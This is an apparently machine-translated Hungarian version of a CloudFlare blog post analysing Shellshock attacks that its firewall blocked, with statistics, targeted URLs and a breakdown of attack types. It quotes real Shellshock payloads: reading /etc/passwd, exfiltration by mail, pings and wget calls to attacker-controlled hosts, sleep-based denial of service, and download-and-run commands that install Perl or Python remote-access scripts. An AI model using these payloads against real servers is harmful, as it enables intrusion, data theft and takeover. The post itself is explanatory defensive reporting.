a múlt hét szerdán megjelentek a Shellshock bash hiba részletei. Ez a hiba megkezdte a számítógépek, szerverek, útválasztók, tűzfalak és más számítástechnikai eszközök javítását a Bash sebezhető verzióival.
a CloudFlare azonnal bevezette a védelmet a Pro, üzleti és vállalati ügyfelek számára a webes alkalmazás tűzfalán keresztül. Vasárnap, miután tanulmányoztuk a probléma mértékét, és megnéztük a WAF által megállított támadások naplóit, úgy döntöttünk, hogy a Free plan ügyfeleinknek is védelmet nyújtunk.
azóta megfigyeljük a megállított támadásokat, hogy megértsük, hogyan néznek ki, és honnan származnak. Megfigyeléseink alapján egyértelmű, hogy a hackerek világszerte kihasználják a Shellshockot.
(CC BY 2.0 aussiegall)
kiadás
A Shellshock probléma egy példa egy tetszőleges kódfuttatási (Ace) biztonsági résre. Az ACE sebezhetőségi támadásokat általában futó programokon hajtják végre, és rendkívül kifinomult megértést igényelnek a kódfuttatás, a memória elrendezése és az összeszerelési nyelv belső részéről—röviden, Az ilyen típusú támadásokhoz szakértőre van szükség.
a támadó egy ACE sebezhetőséget is használ egy olyan program feltöltésére vagy futtatására, amely egyszerű módot ad a célzott gép vezérlésére. Ezt gyakran egy “héj”futtatásával érik el. A shell egy parancssor, ahol parancsokat lehet beírni és végrehajtani.
a Shellshock biztonsági rés nagy probléma, mert megszünteti a speciális ismeretek szükségességét, és egyszerű (sajnos nagyon egyszerű) módot biztosít egy másik számítógép (például egy webszerver) irányítására és a kód futtatására.
tegyük fel, hogy egy pillanatra meg akart támadni egy webszervert, és a CD-vagy DVD-meghajtóját kinyitotta. Valójában van egy parancs a Linuxon, amely ezt megteszi: /bin/eject
. Ha egy webszerver sebezhető a Shellshock-ra, akkor megtámadhatja a () { :; };
mágikus karakterlánc hozzáadásával a /bin/eject
– hez, majd a karakterlánc elküldésével a célszámítógépre HTTP-n keresztül. Normális esetben aUser-Agent
karakterlánc azonosítja a használt böngésző típusát, de a Shellshock biztonsági rés esetén bármit beállíthat.
például, ha example.com akkor
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
elegendő lenne a CD vagy DVD meghajtó kiadásához.
az általunk blokkolt Shellshock támadások figyelésekor valójában láttunk valakit, aki pontosan ezt a támadást próbálta meg. Tehát, ha futtat egy webszervert, és hirtelen talál egy kidobott DVD-t, ez azt jelezheti, hogy a gép sebezhető a Shellshock ellen.
miért működik ez az egyszerű támadás
amikor egy webszerver kérést kap egy oldalra, a kérésnek három része van, amelyek érzékenyek lehetnek a Shellshock támadásra: a kérelem URL-je, az URL-vel együtt küldött fejlécek, valamint az úgynevezett “argumentumok” (amikor megadja a nevét és címét egy webhelyen, általában argumentumként kerül elküldésre a kérésben).
például itt van egy tényleges HTTP kérés, amely lekéri a CloudFlare honlapját:
GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com
ebben az esetben az URL /
(a főoldalon), a fejlécek pedig Accept-Encoding
Accept-Language
stb. Ezek a fejlécek információt nyújtanak a webszervernek a webböngésző képességeiről, a preferált nyelvről, a keresett webhelyről és arról, hogy milyen böngészőt használok.
nem ritka, hogy ezeket változókká alakítják egy webszerveren belül, hogy a webszerver megvizsgálhassa őket. (Lehet, hogy a webszerver szeretné tudni, hogy mi a preferált nyelvem, így eldöntheti, hogyan válaszoljon nekem).
például a CloudFlare kezdőlapjára vonatkozó kérelemre válaszoló webkiszolgálón belül lehetséges, hogy a következő változókat a kérés fejlécének karakterenkénti másolásával határozzák meg.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com
amíg ezek a változók a webkiszolgáló szoftverén belül maradnak, és nem kerülnek továbbításra a webkiszolgálón futó más programoknak, a szerver nem sebezhető.
Shellshock akkor fordul elő, amikor a változók átkerülnek a “bash”nevű héjba. A Bash egy gyakori shell, amelyet Linux rendszereken használnak. A webszervereknek gyakran más programokat kell futtatniuk, hogy válaszoljanak egy kérésre, és gyakori, hogy ezeket a változókat a bash vagy egy másik shell adja át.
a Shellshock probléma kifejezetten akkor fordul elő, amikor a támadó módosítja az origin HTTP kérést, hogy tartalmazza a magic () { :; };
karakterláncot, amelyet fent tárgyaltunk.
tegyük fel, hogy a támadó a fenti User-Agent fejlécetMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
– ről egyszerűen() { :; }; /bin/eject
– re változtatja. Ez a következő változót hozza létre egy webkiszolgálón belül:
HTTP_USER_AGENT=() { :; }; /bin/eject
Ha ezt a változót a webszerver továbbítja a bash-ba, akkor a Shellshock probléma lép fel. Ez azért van, mert a bash speciális szabályokkal rendelkezik a () { :; };
kezdődő változó kezelésére. Ahelyett, hogy a HTTP_USER_AGENT
változót speciális jelentés nélküli karaktersorozatként kezelné, a bash úgy fogja értelmezni, mint egy végrehajtandó parancsot (kihagytam a mélyen technikai magyarázatokat arra, hogy miért () { :; };
teszi bash-t így viselkedni az egyértelműség kedvéért ebben az esszében.)
a probléma az, hogy a HTTP_USER_AGENT
a User-Agent
fejlécből származik, amelyet a támadó vezérel, mert HTTP kérésben érkezik a webkiszolgálóra. Ez pedig a katasztrófa receptje, mert a támadó egy sebezhető kiszolgálót bármilyen parancs futtatására képes (lásd az alábbi példákat).
a megoldás a Bash frissítése olyan verzióra, amely nem értelmezi a () { :; };
speciális módon.
ahol a támadások érkeznek
amikor minden ügyfél számára védelmet nyújtottunk, olyan mutatót vezettünk be, amely lehetővé tette számunkra, hogy figyelemmel kísérjük a megkísérelt Shellshock támadások számát. Mindannyian kaptak egy HTTP 403 tiltott hibakódot, de naplót tartottunk arról, hogy mikor történtek, és alapvető információkat a támadásról.
Ez a diagram a CloudFlare hálózaton másodpercenként végrehajtott támadások számát mutatja az összes ügyfél számára biztosított védelem bevezetése óta.
attól a pillanattól kezdve, hogy a CloudFlare bekapcsolta a Shellshock védelmet, egészen ma kora reggelig 10-15 támadást láttunk másodpercenként. A támadások volumenének sorrendjében ezek a kérések Franciaországból (80%), az Egyesült Államokból (7%), Hollandiából (7%) érkeztek, majd kisebb mennyiségeket sok más országból.
körülbelül 0100 Pacific (1000 Párizsban) a támadások Franciaország megszűnt. Jelenleg másodpercenként körülbelül 5 támadást látunk. Az írás idején jóval több mint 1,1 millió Shellshock támadást blokkoltunk.
hagyd, hogy a képzelet vadul
mivel olyan könnyű támadni sebezhető gépek Shellshock, és mivel a sebezhető gép fut minden parancsot küldött neki, támadók hagyta, hogy a képzelet vad módon manipulálni számítógépek távolról.
a CloudFlare WAF naplózza az okot, amiért blokkolt egy kérést, amely lehetővé teszi számunkra, hogy kivonjuk és elemezzük a ténylegesen használt Shellshock karakterláncokat. A Shellshock-ot elsősorban felderítésre használják: privát információk kinyerésére, valamint arra, hogy a támadók megszerezzék az irányítást a szerverek felett.
a legtöbb Shellshock parancsot a HTTP User-Agent és Referer fejlécek segítségével injektálják, de a támadók a GET és POST argumentumokat és más véletlenszerű HTTP fejléceket is használnak.
a privát információk kinyeréséhez a támadók néhány technikát használnak. A legegyszerűbb kivonási támadások a következő formában érhetők el:
() {:;}; /bin/cat /etc/passwd
, amely beolvassa a /etc/passwd
jelszófájlt, és hozzáadja azt a webkiszolgáló válaszához. Tehát egy támadó, aki ezt a kódot injektálja a Shellshock biztonsági résen keresztül, a weboldal részeként visszaküldött jelszófájlt kidobja a képernyőjére.
egy támadás során egyszerűen privát fájlokat küldenek maguknak. Az adatok e-mailben történő kiszállításához a támadók a mail
parancsot használják:
() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l'
Ez a parancs először fut whoami
hogy megtudja a webkiszolgálót futtató felhasználó nevét. Ez különösen hasznos, mert ha a webszervert root-ként futtatják (a superuser, aki bármit megtehet), akkor a szerver különösen gazdag célpont lesz.
ezután elküldi a felhasználónevet a megtámadott webhely nevével együtt (example.com fent) e-mailben. A webhely neve megjelenik az e-mail tárgysorában.
szabadidejükben a támadó bejelentkezhet az e-mailjébe, és megtudhatja, mely webhelyek voltak sebezhetőek. Ugyanaz az e-mail technika használható olyan adatok kinyerésére, mint a jelszófájl.
(CC BY 2.0 JD Hancock)
felderítés
messze a legnépszerűbb támadást (az összes támadás körülbelül 83% – át) “felderítésnek”nevezzük. A felderítő támadások során a támadó olyan parancsot küld, amely üzenetet küld egy harmadik fél gépének. A harmadik féltől származó gép ezután összeállítja az összes sebezhető gép listáját, amely kapcsolatba lépett vele.
a múltban láttuk a veszélyeztetett gépek listáját botnetekké alakítva DDoS, spam vagy más célokra.
egy népszerű felderítő technika a ping
parancsot használja, hogy egy sebezhető gép egyetlen csomagot küldjön (úgynevezett ping) egy harmadik fél szerverére, amelyet a támadó irányít. A támadási karakterlánc így néz ki:
() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com
a ping
parancsot általában arra használják, hogy teszteljék, hogy egy gép “él” vagy online (egy élő gép saját pingjével válaszol). Ha egy webszerver sebezhető a Shellshock számára, akkor egyetlen ping csomagot küld (a -c 1
) a támadó-gépnek.com a -p
által beállított hasznos teherrel. A hasznos teher egy egyedi azonosító, amelyet a támadó hoz létre, így nyomon követheti a pinget a sebezhető webhelyre.
a sebezhető kiszolgálók azonosításának másik technikája az, hogy a webszerver egy weboldalt tölt le egy támadó által vezérelt gépről. A támadó ezután megnézheti a webkiszolgáló naplóit, hogy megtudja, melyik gép volt sebezhető. Ez a támadás úgy működik, hogy olyan Shellshock karakterláncot küld, mint:
() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null
a támadó a attacker-controlled.com a bejegyzésekhez. A letöltött oldalt a támadó állítja be, hogy felfedje a megtámadott webhely nevét. A ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA==
valójában egy kód, amely azt jelzi, hogy a megtámadott webhely example.com.
ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA==
valójában egy base64 kódolású karakterlánc. Amikor dekódolt ez így hangzik:
example.comShellShockSalt
ebből a karakterláncból a támadó megtudhatja, hogy a támadás példa.a com sikeres volt, és ha igen, akkor később visszamehetnek, hogy tovább használják az oldalt. Miközben helyettesítettem a céltartományt, valódi példákat látunk a vadonban, amelyek valójában a ShellShockSalt
sót használják a hash-ban.
szolgáltatásmegtagadás
egy másik Shellshock támadás ezt a karakterláncot használja
() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20
megpróbálja futtatni a sleep
parancsot három különböző módon (mivel a rendszerek kissé eltérő konfigurációkkal rendelkeznek, az alvás megtalálható a könyvtárakban /bin
vagy /sbin
vagy /usr/bin
). Bármelyik alvás is fut, a szerver 20 másodpercet vár, mielőtt válaszolna . Ez erőforrásokat fog igénybe venni a gépen, mert a sleep
programot végrehajtó szál vagy folyamat 20 másodpercig nem tesz mást.
Ez talán a legegyszerűbb szolgáltatásmegtagadás. A támadók egyszerűen azt mondják a gépnek, hogy aludjon egy ideig. Küldj elég ilyen parancsokat, és a gép lehet kötve csinál semmit, és nem tudja kiszolgálni jogos kéréseket.
(CC BY 2.0 peter castleton)
az irányítás átvétele
az eddig látott támadások körülbelül 8% – A egy szerver közvetlen irányítására irányult. A távoli támadások így néznek ki:
() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"
Ez a parancs két programot próbál használni (wget
és curl
) EGY program letöltésére egy olyan szerverről, amelyet a támadó irányít. A program Perl nyelven íródott, és a letöltés után azonnal fut. Ez a program távoli hozzáférést állít be a támadó számára a sebezhető webkiszolgálóhoz.
egy másik támadás a Python nyelvet használja egy olyan program beállításához, amely bármely parancs távoli futtatására használható a sebezhető gépen:
() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"
a cl.py
a letöltött program úgy néz ki, mint a ClamAV víruskereső program frissítése. 5 másodperc késés után a támadás megtisztul a letöltött fájl eltávolításával (csak a memóriában fut).
(CC BY 2.0 Jeff Taylor)
Target Selection
a megtámadott weboldalakat és a kért URL-eket nézve lehetséges, hogy egy képzett találgatás a megtámadott webalkalmazásokról.
a támadott legfontosabb URL-ek a következők: /(23.00%), /cgi-bin-sdb/printenv(15,12%), /cgi-mod/index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15,20%) és /cgi-sys/defaultwebpage.cgi(14, 59%). Ezen URL-ek egy részét népszerű webes alkalmazások, sőt hardvereszközök is használják.
úgy tűnik, hogy a támadások 23%-a a cPanel web hosting vezérlő szoftver ellen irányul, 15% a régi Apache telepítések ellen, 15% pedig a Barracuda hardvertermékek ellen, amelyek webalapú felülettel rendelkeznek.
Ez utóbbi azért érdekes, mert kiemeli azt a tényt, hogy a Shellshock nem csak egy támadás weboldalak ellen, hanem támadás minden ellen, ami bash-t futtat és elérhető az Interneten. Ez magában foglalhatja a hardvereszközöket, a set-top boxokat, a laptop számítógépeket, még talán a telefonokat is.